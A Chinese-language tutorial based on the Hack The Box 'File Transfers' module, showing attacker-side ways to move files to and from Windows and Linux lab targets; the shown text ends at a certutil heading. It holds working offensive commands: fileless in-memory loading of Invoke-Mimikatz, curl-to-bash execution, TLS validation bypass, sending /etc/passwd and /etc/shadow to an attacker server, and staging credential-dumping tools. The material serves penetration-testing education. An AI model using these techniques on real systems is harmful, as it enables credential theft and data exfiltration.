Hack The Box - File Transfers Module详细讲解中文教程

前言

这个模块我们详细讲解下linux和windows系统上的文件传输的方法,包括通过一些文件传输工具传输,使用一些脚本语言进行文件传输,例如:python,php等,另外我们还可以通过一些协议来进行文件传输,例如:SMB,SCP,FTP,TFTP,RDP等,还有普通的文件传输检测方法和基本的绕过文件传输检测的方法

1.1文件传输方法

1.1.1Windows系统上的文件下载

对于攻击者来说,我们可以使用多种文件传输的方法来绕过操作系统的检测从而在目标主机上上传或者下在我们的目标文件,我这里主要讲攻击方向,下面我们开始讲解一些上传和下载的方法实现

我们先假设一个场景,目标靶机MS02,靶机需要从本地下载一个文件"download.txt",现在让我们使用多种方法让靶机从本地下载这个文件,如下:

通过File.WriteAllBytes()方法下载

我们可以直接操作终端的场景中,我们可以使用如下方法

检查"download.txt"文件的md5 hash值,命令如下:

user@htb[/htb]$ md5sum download.txt

3fe0745b3432c16fe2d3c7605fe89f94  download.txt

把"download.txt"文件进行base64编码,命令如下:

user@htb[/htb]$ cat download.txt | base64 -w 0;echo

Tm90aGluZyBpcyBpbXBvc3NpYmxlIQo=

复制这个值粘贴到windows powershell终端,使用windows系统函数解码内容,命令如下:

PS C:\htb> [IO.File]::WriteAllBytes("C:\Users\Public\download.txt",[Convert]::FromBase64String("Tm90aGluZyBpcyBpbXBvc3NpYmxlIQo="))

最后,我们使用powershell的Get-FileHash命令行工具,验证文件的hash值是否正确,命令如下:

PS C:\htb> Get-FileHash C:\Users\Public\download.txt -Algorithm md5

Algorithm       Hash                                                                   Path
---------       ----                                                                   ----
MD5             3fe0745b3432c16fe2d3c7605fe89f94                                       C:\Users\Public\download.txt

Tips:这个方法使用有时并不能正常工作,这是由于windows的cmd.exe命令行工具最大接受的用户输入字符串长度为:8191个字符,当我们输入的字符超过这个最大值,就会报错

通过WebClient Class下载

WebClient Class这个类支持URL以http://,https://,ftp://,file://这些协议上传和下载文件

在powershell中使用DownloadFile()下载
PS C:\htb> # Example: (New-Object Net.WebClient).DownloadFile('<Target File URL>','<Output File Name>')

PS C:\htb> (New-Object Net.WebClient).DownloadFile('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1','C:\Users\Public\Downloads\PowerView.ps1')

PS C:\htb> # Example: (New-Object Net.WebClient).DownloadFileAsync('<Target File URL>','<Output File Name>')

PS C:\htb> (New-Object Net.WebClient).DownloadFileAsync('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1', 'PowerViewAsync.ps1')
在powershell中使用DownloadString - Fileless 下载

我们使用Invoke-Expression 命令直接在内存中运行我们下载的脚本,命令缩写IEX,这种不需要先下载文件到本地在执行的方法我们叫做fileless

命令如下:

PS C:\htb> IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1')

IEX也支持管道符"|"输入,命令如下:

PS C:\htb> (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1') | IEX
在powershell中使用Invoke-WebRequest下载

注意,powershell3.0之前的版本,也支持Invoke-WebRequest命令,但是下载速度慢,命令如下:

PS C:\htb> Invoke-WebRequest https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1 -OutFile PowerView.ps1

Tips:Check-LocalAdminHash,powershell的一个脚本工具,我们可以使用它来下载文件,这里只做拓展,感兴趣的小伙伴可自行研究

有时,我们利用powershell来下载文件时,会报错,如下:

PS C:\htb> Invoke-WebRequest https://<ip>/PowerView.ps1 | IEX

Invoke-WebRequest : The response content cannot be parsed because the Internet Explorer engine is not available, or Internet Explorer's first-launch configuration is not complete. Specify the UseBasicParsing parameter and try again.
At line:1 char:1
+ Invoke-WebRequest https://raw.githubusercontent.com/PowerShellMafia/P ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : NotImplemented: (:) [Invoke-WebRequest], NotSupportedException
+ FullyQualifiedErrorId : WebCmdletIEDomNotSupportedException,Microsoft.PowerShell.Commands.InvokeWebRequestCommand

PS C:\htb> Invoke-WebRequest https://<ip>/PowerView.ps1 -UseBasicParsing | IEX

Tips:这是因为IE浏览器第一次运行没有配置完成,导致错误,那我们如何和绕过目标靶机的这个报错,来下载我们的目标文件呢?我们使用UseBasicParsing这个设置

通常还有一个错误,如下:

PS C:\htb> IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/juliourena/plaintext/master/Powershell/PSUpload.ps1')

Exception calling "DownloadString" with "1" argument(s): "The underlying connection was closed: Could not establish trust
relationship for the SSL/TLS secure channel."
At line:1 char:1
+ IEX(New-Object Net.WebClient).DownloadString('https://raw.githubuserc ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : NotSpecified: (:) [], MethodInvocationException
    + FullyQualifiedErrorId : WebException
PS C:\htb> [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}

Tips:这是由于网站开启了SSL/TLS安全通道,需要验证证书是否是信任证书才能通过,我们通过上述命令绕过这个证书验证

通过SMB协议下载

SMB服务运行在windows服务器的445端口上,如果开启了这个服务,用户可以和远程服务器进行文件传输,我们可以使用python的Impacket工具包里的smbserver.py直接在本地开启一个SMB服务,如下:

user@htb$ sudo impacket-smbserver share -smb2support /tmp/smbshare

Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed

现在,我们从SMB服务器上下载一个文件,命令如下:

C:\htb> copy \\192.168.220.133\share\nc.exe

        1 file(s) copied.

Tips:有些Windows系统,不允许guest用户操作,命令如下:

C:\htb> copy \\192.168.220.133\share\nc.exe

You can't access this shared folder because your organization's security policies block unauthenticated guest access. These policies help protect your PC from unsafe or malicious devices on the network.

我们可以设置一个用户名和密码在开启一个SMB服务,命令如下:

user@htb$ sudo impacket-smbserver share -smb2support /tmp/smbshare -user test -password test

Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed

我们这次使用设置的用户名和密码进行下载,命令如下:

C:\htb> net use n: \\192.168.220.133\share /user:test test

The command completed successfully.

C:\htb> copy n:\nc.exe
        1 file(s) copied.

通过FTP协议下载

我们还可以使用FTP协议进行文件传输,FTP服务通常使用21/20端口,我们可以通过FTP的客户端或者Poweshell来进行文件传输,这里我们来使用Python3的pyftpdlib模块来创建一个FTP服务,在创建FTP服务前,我们需要安装这个模块,命令如下:

user@htb$ sudo pip3 install pyftpdlib

这个模块默认FTP服务运行在21端口上,默认启用匿名用户,所以我们可以用匿名用户登陆,命令如下:

user@htb$ sudo python3 -m ftpdlib --port 21

[I 2022-05-17 10:09:19] concurrency model: async
[I 2022-05-17 10:09:19] masquerade (NAT) address: None
[I 2022-05-17 10:09:19] passive ports: None
[I 2022-05-17 10:09:19] >>> starting FTP server on 0.0.0.0:21, pid=3210 <<<

我们还可以使用Windows系统中的Powershell来下载,命令如下:

PS C:\htb> (New-Object Net.WebClient).DownloadFile('ftp://192.168.49.128/file.txt', 'ftp-file.txt')

在有些场景中,我们可以获取到系统的shell但是不能进行交互,这种情况下,我们需要创建一个包含ftp命令的文件来进行文件下载,命令如下:

C:\htb> echo open 192.168.49.128 > ftpcommand.txt
C:\htb> echo USER anonymous >> ftpcommand.txt
C:\htb> echo binary >> ftpcommand.txt
C:\htb> echo GET file.txt >> ftpcommand.txt
C:\htb> echo bye >> ftpcommand.txt
C:\htb> ftp -v -n -s:ftpcommand.txt
ftp> open 192.168.49.128
Log in with USER and PASS first.
ftp> USER anonymous

ftp> GET file.txt
ftp> bye

C:\htb>more file.txt
This is a test file

1.1.2Windows系统上的文件上传

之前,讲解了一些基本的windows系统上文件下载的方法,下面我们来讲解一些文件上传的方法,因为在有些场景中,我们需要从目标靶机上传一些加密的文件到我们的本地机器上来破解密码

通过>符号上传到本地

我们在目标机器MS02上先用base64编码文件upload.txt,然后检查文件的md5 hash值,命令如下:

PS C:\htb> [Convert]::ToBase64String((Get-Content -path "C:\Users\Public\upload.txt" -Encoding byte))

Tm90aGluZyBpcyBpbXBvc3NpYmxlIQo=

PS C:\htb> Get-FileHash "C:\Users\Public\upload.txt" -Algorithm MD5 | select Hash

Hash
----
3fe0745b3432c16fe2d3c7605fe89f94

复制这个base64编码的字符串到本地的终端上,然后进行base64解码,在检查文件的hash值,最后保存这个在本地,命令如下:

user@htb$ echo Tm90aGluZyBpcyBpbXBvc3NpYmxlIQo= | base64 -d > upload.txt

md5sum upload.txt

3fe0745b3432c16fe2d3c7605fe89f94    upload.txt

通过WebClient Class上传

这里我们的使用python的uploadserver模块开启一个支持文件上传的http服务器,如下:

安装uploadserver模块,命令如下:

user@htb$ pip3 install uploadserver

启动web服务器,命令如下:

sudo python3 -m uploadserver

File upload available at /upload
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
使用powershell的脚本上传

我们这里使用PSUpload.ps1这个脚本进行文件上传,命令如下:

PS C:\htb> IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/juliourena/plaintext/master/Powershell/PSUpload.ps1')
PS C:\htb> Invoke-FileUpload -Uri http://192.168.49.128:8000/upload -File C:\Users\Public\upload.txt

[+] File Uploaded:  C:\Users\Public\upload.txt
[+] FileHash:  3fe0745b3432c16fe2d3c7605fe89f94
使用Invoke-WebRequest命令上传

我们需要把文件进行base64编码,然后使用Invoke-WebRequest命令上传文件,我们需要在本地监听一个post请求的端口,然后把输出的内容解码保存到本地,命令如下:

PS C:\htb> $b64 = [System.convert]::ToBase64String((Get-Content -Path 'C:\Users\Public\upload.txt' -Encoding Byte))
PS C:\htb> Invoke-WebRequest -Uri http://192.168.49.128:8000/ -Method POST -Body $b64

当POST请求成功,本地监听的端口上就会输出我们上传的内容,我们把内容进行解码,保存到本地,命令如下:

user@htb$ nc -lvnp 8000
user@htb$ echo <base64> | base64 -d > upload.txt

使用SMB服务上传

之前我们已经学习了怎样通过SMB服务进行下载,这里我们讲解下如何使用SMB服务进行上传,一般我们使用SMB时,首先尝试下smb协议连接,如果不能够获取到共享内容,我们在使用HTTP协议连接,HTTP服务器要支持文件上传需要开启WebDAV,他是HTTP协议的一个拓展协议,开启这个协议,我们就能上传文件了

配置WebDAV 服务

设置这个服务,我们需要python的两个模块:wsgidav和cheroot,安装之后,我们需要在我们目标目录下运行这个服务,命令如下:

user@htb$ sudo pip install wsgidav cheroot

启动WebDAV服务,命令如下:

user@htb$ sudo wsgidav --host=0.0.0.0 --port=80 --root=/tmp --auth=anonymous

连接WebDAV服务器,命令如下:

C:\htb> dir \\192.168.49.128\DavWWWRoot

 Volume in drive \\192.168.49.128\DavWWWRoot has no label.
 Volume Serial Number is 0000-0000

 Directory of \\192.168.49.128\DavWWWRoot

05/18/2022  10:05 AM    <DIR>          .
05/18/2022  10:05 AM    <DIR>          ..
05/18/2022  10:05 AM    <DIR>          sharefolder
05/18/2022  10:05 AM                13 filetest.txt
               1 File(s)             13 bytes
               3 Dir(s)  43,443,318,784 bytes free

Tips:DavWWWRoot是WebDAV服务的一个关键字,表示这个服务器的根目录,在不知道WebDAV服务器上的其他目录的前提下使用

上传文件,命令如下:

C:\htb> copy C:\Users\htb\upload.txt \\192.168.49.129\DavWWWRoot\

使用FTP服务上传

我们之前使用FTP服务进行文件的下载,这里我们使用FTP来上传文件,这里我们使用python的pyftpdlib模块,我们需要设置–write,这样我们就能上传文件到FTP服务器了,如下:

开启一个FTP服务,命令如下:

user@htb$ sudo python3 -m ftpdlib --port 21 --write

使用powershell进行文件上传,命令如下:

PS C:\htb> (New-Object Net.WebClient).UploadFile('ftp://192.168.49.128/ftp-hosts', 'C:\Users\htb\upload.txt')

创建命令文件使用FTP客户端上传,命令如下:

C:\htb> echo open 192.168.49.128 > ftpcommand.txt
C:\htb> echo USER anonymous >> ftpcommand.txt
C:\htb> echo binary >> ftpcommand.txt
C:\htb> echo PUT C:\Users\htb\upload.txt>> ftpcommand.txt
C:\htb> echo bye >> ftpcommand.txt
C:\htb> ftp -v -n -s:ftpcommand.txt
ftp> open 192.168.49.128
Log in with USER and PASS first.
ftp> USER anonymous

ftp> PUT C:\Users\htb\upload.txt
ftp> bye

1.1.3Linux系统上的文件下载

之前我们学习了windows下的一些文件传输的方法,这一节我们学习下linux系统下的文件传输的方法,包括http,bash,ssh等

这里我们假设一个场景,目标靶机NIX04,我们需要从我们的本地下载一个文件download.txt到目标靶机上,下面我们讲解一些方法来实现我们的目的

base64编码

这个方法使用的场景是我们可以直接操作终端,不使用网络进行传输,我们将要传输的文件进行base64编码,复制到目标靶机终端,然后解码保存,如下:

检查download.txt文件的md5 hash 值,命令如下:

user@htb$ md5sum download.txt

3fe0745b3432c16fe2d3c7605fe89f94  download.txt

把文件进行base64编码,命令如下:

user@htb$ cat download.txt | base64 -w 0;echo

Tm90aGluZyBpcyBpbXBvc3NpYmxlIQo=

复制这个内容,粘贴到目标靶机终端,然后进行base64解码,命令如下:

user@htb$ echo Tm90aGluZyBpcyBpbXBvc3NpYmxlIQo= | base64 -d > download.txt

检查这个文件的md5 hash值,命令如下:

user@htb$ md5sum download.txt

3fe0745b3432c16fe2d3c7605fe89f94  download.txt

使用wget或curl下载

linux下的最基本的下载工具,下面我们来介绍下这两种工具下载文件的方法,命令如下:

user@htb$ wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh -O /tmp/LinEnum.sh

Tips:-O用来设置输出文件,大写

user@htb$ curl -o /tmp/LinEnum.sh https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh

Tips: -o用来设置输出文件,小写

使用curl实现Fileless下载

我们可以搭配管道符来实现fileless下载,不需要先下载文件到硬盘上,然后在执行,而是直接执行,命令如下:

user@htb$ curl https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh | bash

使用wget实现Fileless下载

user@htb$ wget -qO- https://raw.githubusercontent.com/juliourena/plaintext/master/Scripts/helloworld.py | python3

通过 /dev/tcp下载

连接目标web服务器,命令如下:

user@htb$ exec 3<>/dev/tcp/10.10.10.32/80

发送HTTP GET 请求,命令如下:

user@htb$ echo -e "GET /LinEnum.sh HTTP/1.1\n\n">&3

打印相应内容,命令如下:

user@htb$ cat <&3

SSH下载

在我们开始使用ssh进行下载之前,我们首先在我们的本机上开启一个ssh服务,然后通过目标靶机进行下载文件,如下:

本机开启ssh服务,命令如下:

user@htb$ sudo systemctl start ssh

检查ssh服务的监听端口,命令如下:

user@htb$ netstat -lnpt

(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      - 

使用scp命令下载文件。命令如下:

user@htb$ scp test@192.168.49.128:/root/myroot.txt .

Tips:需要指定目标靶机的ip地址,用户名和密码,可以创建一个临时用户,避免在远程主机上使用你原来的密钥

1.1.4Linux系统上的文件上传

前面我们讲解了linux系统下文件的一些下载方法,接下来我们开始讲解linux系统下一些文件上传的方法

web上传

我们使用python3的uploadserver模块,安装uploadserver模块,命令如下:

user@htb$ pip3 install uploadserver

创建一个证书,命令如下:

user@htb$ openssl req -x509 -out server.pem -keyout server.pem -newkey rsa:2048 -nodes -sha256 -subj '/CN=server'

Generating a RSA private key
................................................................................+++++
.......+++++
writing new private key to 'server.pem'
-----

创建一个新目录作为web服务器的目录,命令如下:

user@htb$ mkdir https && cd https

开启WEB服务,命令如下:

user@htb$ python3 -m uploadserver 443 --server-certificate /root/server.pem

File upload available at /upload
Serving HTTPS on 0.0.0.0 port 443 (https://0.0.0.0:443/) ...

上传文件,命令如下:

use@htb$ curl -X POST https://192.168.49.128/upload -F 'files=@/etc/passwd' -F 'files=@/etc/shadow' --insecure

Tips:因为我们的服务器使用了self-signed 证书,传输需要设置–insecure参数

使用不同语言创建WEB服务器

我们可以使用不同的语言创建一个简单的web服务器,这种方式是非常灵活且方便的,如下:

使用python3创建web服务器,命令如下:
user@htb$ python3 -m http.server

Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
使用python2.7创建web服务器,命令如下:
user@htb$ python2.7  -m SimpleHTTPServer

Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
使用ruby创建web服务器,命令如下:
user@htb$ ruby -run -ehttpd . -p8000

[2022-05-23 09:35:46] INFO  WEBrick 1.6.1
[2022-05-23 09:35:46] INFO  ruby 2.7.4 (2021-07-07) [x86_64-linux-gnu]
[2022-05-23 09:35:46] INFO  WEBrick::HTTPServer#start: pid=1705 port=8000

scp上传

如果网站开启了ssh服务,我们可以使用scp上传文件,命令如下:

user@htb$ scp /etc/passwd plaintext@192.168.49.128:/home/plaintext/

plaintext@192.168.49.128's password: 
passwd       

1.1.5使用代码进行文件下载

这一节我们使用一些编程语言来实现文件的上传与下载,这里主要介绍下python,php,ruby,perl这些语言的实现

使用python2.7下载

命令如下:

user@htb$ python2.7 -c 'import urllib;urllib.urlretrieve ("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh", "LinEnum.sh")'

使用python3下载

命令如下:

user@htb$ python3 -c 'import urllib.request;urllib.request.urlretrieve("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh", "LinEnum.sh")'

Tips: -c参数允许代码单行输入

使用php的file_get_contents()和file_put_contents()

命令如下:

user@htb$ php -r '$file = file_get_contents("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh"); file_put_contents("LinEnum.sh",$file);'

使用php的fopen()

命令如下:

user@htb$ php -r 'const BUFFER = 1024; $fremote = 
fopen("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh", "rb"); $flocal = fopen("LinEnum.sh", "wb"); while ($buffer = fread($fremote, BUFFER)) { fwrite($flocal, $buffer); } fclose($flocal); fclose($fremote);'

使用php和管道符下载文件

命令如下:

user@htb$ php -r '$lines = @file("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh"); foreach ($lines as $line_num => $line) { echo $line; }' | bash

Tips:使用@file()函数,需要php的fopen wrapper启用

使用其他语言下载

使用ruby下载

命令如下:

user@htb$ ruby -e 'require "net/http"; File.write("LinEnum.sh", Net::HTTP.get(URI.parse("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh")))'
使用perl下载

命令如下:

user@htb$ perl -e 'use LWP::Simple; getstore("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh", "LinEnum.sh");'
使用javascript下载

首先,我们创建一个下载功能的javascript脚本文件wget.js,代码如下:

var WinHttpReq = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
WinHttpReq.Open("GET", WScript.Arguments(0), /*async=*/false);
WinHttpReq.Send();
BinStream = new ActiveXObject("ADODB.Stream");
BinStream.Type = 1;
BinStream.Open();
BinStream.Write(WinHttpReq.ResponseBody);
BinStream.SaveToFile(WScript.Arguments(1));

我们可以使用windows系统的cmd.exe或者powershell来运行我们的脚本文件来下载文件,命令如下:

C:\htb> cscript.exe /nologo wget.js https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1 PowerView.ps

Tips: cscript.exe是windows系统自带的执行javascript脚本的工具

使用vbscript下载

首先,我们创建一个wget.vbs脚本文件,代码如下:

dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")
dim bStrm: Set bStrm = createobject("Adodb.Stream")
xHttp.Open "GET", WScript.Arguments.Item(0), False
xHttp.Send

with bStrm
    .type = 1
    .open
    .write xHttp.responseBody
    .savetofile WScript.Arguments.Item(1), 2
end with

我们可以使用windows系统的cmd.exe或者powershell来运行我们的脚本文件来下载文件,命令如下:

C:\htb> cscript.exe /nologo wget.vbs https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1 PowerView2.ps1

1.1.6使用代码进行文件上传

使用python3上传

上传文件之前,我们还是和之前一样,需要先开启uploadserver,命令如下:

user@htb$ python3 -m uploadserver

File upload available at /upload
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

使用python3上传文件,命令如下:

user@htb$ python3 -c 'import requests;requests.post("http://192.168.49.128:8000/upload",files={"files":open("/etc/passwd","rb")})'

其他一些传输方法

在windows和linux系统上我们还有一些其他的文件传输的方法,这一节我们学习下使用netcat,rdp和powershell sessions传输文件

Netcat

nc这个工具可以对通过TCP或者UDP连接的网络进行读和写操作,这样我们就可以使用它来传输文件

下面我们从本地传输SharpKatz.exe文件到目标机器上,我们下面使用两种方法进行传输,如下:

直接发送文件到目标机器

在目标机器上监听一个端口,这里我们设置8000端口,然后把标准输出重定向到SSharpKatz.exe文件,命令如下:

user@htb$ nc -l -p 8000 > SharpKatz.exe

发送文件到目标机器,命令如下:

user@htb$ wget -q https://github.com/Flangvik/SharpCollection/raw/master/NetFramework_4.7_x64/SharpKatz.exe

user@htb$ nc -q 0 192.168.49.128 8000 < SharpKatz.exe
把文件作为nc的标准输入

在本地把文件重定向为nc的标准输入,然后在目标机器上把nc 的标准输出重定向为文件,如下:

把文件重定向到nc的标准输入,命令如下:

user@htb$ sudo nc -l -p 80 -q 0 < SharpKatz.exe

然后让目标机器连接到本地nc,把标准输出重定向到文件实现文件的传输,命令如下:

user@htb$ nc 192.168.49.128 80 > SharpKatz.exe

Tips:如果目标机器上没有nc这个工具,我们可以使用/dev/tcp这个文件来连接到本地nc上传输文件,命令如下:

user@htb$ cat < /dev/tcp/192.168.49.128/80 > SharpKatz.exe

使用powershell session传输文件

我们已经学习了使用powershell来使用HTTP,HTTPS,SMB这些服务来传输文件,但是在有些场景中,这些服务是不能被我们获取到了,这时,我们可以使用PowerShellRemoting,powershell remoting 这个技术通过powershell session允许我们执行脚本或者在远程机器上执行命令,默认启用powershell创建HTTP和HTTPS监听,HTTP默认监听端口5985,HTTPS默认监听端口5986,在远程机器上创建一个会话,这个用户需要属于Remote Management Users 组或者有权限操作powershell session才行

下面,我们假设一个场景,我们把机器DC01上的文件传输到机器DATABASE01上,如下:

首先,我们创建一个powershell session 到DATABASE01上,命令如下:

PS C:\htb> $Session = New-PSSession -ComputerName DATABASE01

复制本地的samplefile.txt文件到DATABASE01机器上,命令如下:

PS C:\htb> Copy-Item -Path C:\samplefile.txt -ToSession $Session -Destination C:\Users\Administrator\Desktop\

复制DATABASE01机器上的database.txt文件到本地,命令如下:

PS C:\htb> Copy-Item -Path "C:\Users\Administrator\Desktop\DATABASE.txt" -Destination C:\ -FromSession $Session

RDP传输文件

linux上常用的一些RDP连接的客户端,例如:xfreerdp,rdesktop,remmina等,我们可以挂载我们需要传输资源到RDP服务器上,下面我们使用这些工具来具体实现,如下:

使用rdesktop挂载资源

命令如下:

user@htb$ rdesktop 10.10.10.132 -d HTB -u administrator -p 'Password0@' -r disk:linux='/home/user/rdesktop/files'
使用xfreerdp挂载资源

命令如下:

user@htb$ xfreerdp /v:10.10.10.132 /d:HTB /u:administrator /p:'Password0@' /drive:linux,/home/plaintext/htb/academy/filetransfer

我们打开远程桌面的Network->tsclient,就能看到我们共享的目录了,然后直接在远程桌面复制,粘贴文件到这个目录中即可完成文件的传输,如下:
img

在windows系统上,我们使用mstsc.exe这个RDP客户端来连接RDP服务器,我们需要按如下设置,才能与远程桌面进行交互,如下:
img

1.2加密文件传输

数据或文件在传输的过程中如果没有加密传输,是非常危险的,所以在我们传输文件或者数据前,要做的就是加密数据或文件来防止被拦截的数据读取敏感信息,这一节,我们来学习下文件在windows和linux上的文件的加密,如下:

windows系统上文件加密

在windows系统上,我们有许多的文件加密的方法,其中最简单的一种方法是使用Invoke-AESEncryption.ps1,这个powershell脚本,那怎么使用这个脚本呢?如下:

首先,我们在powershell终端导入这个模块,命令如下:

PS C:\htb> Import-Module .\Invoke-AESEncryption.ps1

然后,我们使用这个脚本来加密文件,命令如下:

PS C:\htb> Invoke-AESEncryption.ps1 -Mode Encrypt -Key "p4ssw0rd" -Path .\scan-results.txt

File encrypted to C:\htb\scan-results.txt.aes

Tips:加密文件名是在原文件拓展名后在添加.aes,推荐使用强度大的密码来加密文件,这样可以防止密码被轻易破解

linux系统上的文件加密

在linux系统上我们常常使用openssl来加密文件或者数据,详细用法请参考openssl man page,这里我们使用open enc加密/etc/passwd文件,命令如下:

user@htb$ openssl enc -aes256 -iter 100000 -pbkdf2 -in /etc/passwd -out passwd.enc

enter aes-256-cbc encryption password:                                                         
Verifying - enter aes-256-cbc encryption password: 

使用openssl解密passwd.enc,命令如下:

user@htb$ openssl enc -d -aes256 -iter 100000 -pbkdf2 -in passwd.enc -out passwd

enter aes-256-cbc decryption password:

1.3nginx服务器使用

之前我们通过一些脚本语言创建了一些简单的服务器,这一节,我们使用nginx服务器作为我们文件上传的web 服务器,下面,我们来详细讲解具体的使用方法,apache服务器使用基本相同,这里主要介绍下nginx服务器的使用,如下:

创建一个目录用来作为文件上传目录,命令如下:

user@htb$ sudo mkdir -p /var/www/uploads/SecretUploadDirectory

设置这个目录的拥有者为www-data,命令如下:

user@htb$ sudo chown -R www-data:www-data /var/www/uploads/SecretUploadDirectory

创建nginx服务器的配置文件,命令如下:

文件目录:/etc/nginx/sites-available/upload.conf

server {
    listen 9001;
    
    location /SecretUploadDirectory/ {
        root    /var/www/uploads;
        dav_methods PUT;
    }
}

软连接我们的配置文件目录到sites-enabled目录,命令如下:

user@htb$ sudo ln -s /etc/nginx/sites-available/upload.conf /etc/nginx/sites-enabled/

启动nginx服务器,命令如下:

user@htb$ sudo systemctl start nginx.service

Tips:如果报错的话,我们可以查看/var/log/nginx/error.log,命令如下:

user@htb$ tail -2 /var/log/nginx/error.log

2020/11/17 16:11:56 [emerg] 5679#5679: bind() to 0.0.0.0:`80` failed (98: A`ddress already in use`)
2020/11/17 16:11:56 [emerg] 5679#5679: still could not bind()

我们发现是80端口已被使用了,我们确认下是否确实被使用,命令如下:

user@htb$ ss -lnpt | grep 80

LISTEN 0      100          0.0.0.0:80        0.0.0.0:*    users:(("python",pid=`2811`,fd=3),("python",pid=2070,fd=3),("python",pid=1968,fd=3),("python",pid=1856,fd=3))

我们查看进程pid=2811,命令如下:

user@htb$ ps -ef | grep 2811

user65      2811    1856  0 16:05 ?        00:00:04 `python -m websockify 80 localhost:5901 -D`
root        6720    2226  0 16:14 pts/0    00:00:00 grep --color=auto 2811

我们发现有个模块监听在80端口上,这是由于nginx服务器的默认配置绑定80端口导致的,我们移除默认配置,命令如下:

user@htb$ sudo rm /etc/nginx/sites-enabled/default

然后,我们再次启动nginx服务器,这样就正常启动了,接下来我们使用curl发送一个PUT请求,上传/etc/passwd文件到nginx服务器上并命名为user.txt,命令如下:

user@htb$ curl -T /etc/passwd http://localhost:9001/SecretUploadDirectory/users.txt

1.4使用系统内置的工具传输文件

github上有两个项目专门收集了windows和linux系统上的内置工具,这些工具具有:上传,下载,执行,文件读写,绕过安全认证等功能,这两个项目分别是:LOLBAS,这个项目收集的是windows系统上的内置工具,GTFOBins,这个项目收集的是linux系统上的内置工具,在这一节中我们将使用这两个项目里的工具实现文件的传输

假设,目标机器DC1是windows系统,我们本机DC2是linux系统,我们要将DC1中的win.ini文件上传到DC2中,如下:

在DC2中我们要先监听一个端口,这里监听80端口,命令如下:

user@htb$ sudo nc -lvnp 80

上传win.ini文件到DC2,命令如下:

C:\htb> certreq.exe -Post -config http://192.168.49.128/ c:\windows\win.ini
Certificate Request Processor: The operation timed out 0x80072ee2 (WinHttp: 12002 ERROR_WINHTTP_TIMEOUT)

当文件发送成功,我们将看到本地80端口中的内容如下;

listening on [any] 80 ...
connect to [192.168.49.128] from (UNKNOWN) [192.168.49.1] 53819
POST / HTTP/1.1
Cache-Control: no-cache
Connection: Keep-Alive
Pragma: no-cache
Content-Type: application/json
User-Agent: Mozilla/4.0 (compatible; Win32; NDES client 10.0.19041.1466/vb_release_svc_prod1)
Content-Length: 92
Host: 192.168.49.128

; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1

下面,我们假设目标机器DC1,本机DC2都是linux系统,我们还是要将DC1中的LinEnum.sh文件传输到DC2中,如下:

在DC1中我们使用openssl启动一个服务,命令如下:

user@htb$ openssl s_server -quiet -accept 80 -cert certificate.pem -key key.pem < /tmp/LinEnum.sh

下载文件到DC2中,命令如下:

user@htb$ openssl s_client -connect 10.10.10.32:80 -quiet > LinEnum.sh

其他一些内置工具实现文件的上传与下载

使用bitsadmin下载

PS C:\htb> bitsadmin /transfer n http://10.10.10.32/nc.exe C:\Temp\nc.exe

使用bitstransfer模块下载

PS C:\htb> Import-Module bitstransfer; Start-BitsTransfer -Source "http://10.10.10.32/nc.exe" -Destination "C:\Temp\nc.exe"

使用bitstranfer模块上传

PS C:\htb> Start-BitsTransfer "C:\Temp\bloodhound.zip" -Destination "http://10.10.10.132/uploads/bloodhound.zip" -TransferType Upload -ProxyUsage Override -ProxyList PROXY01:8080 -ProxyCredential INLANEFREIGHT\svc-sql

使用certutil工具下载

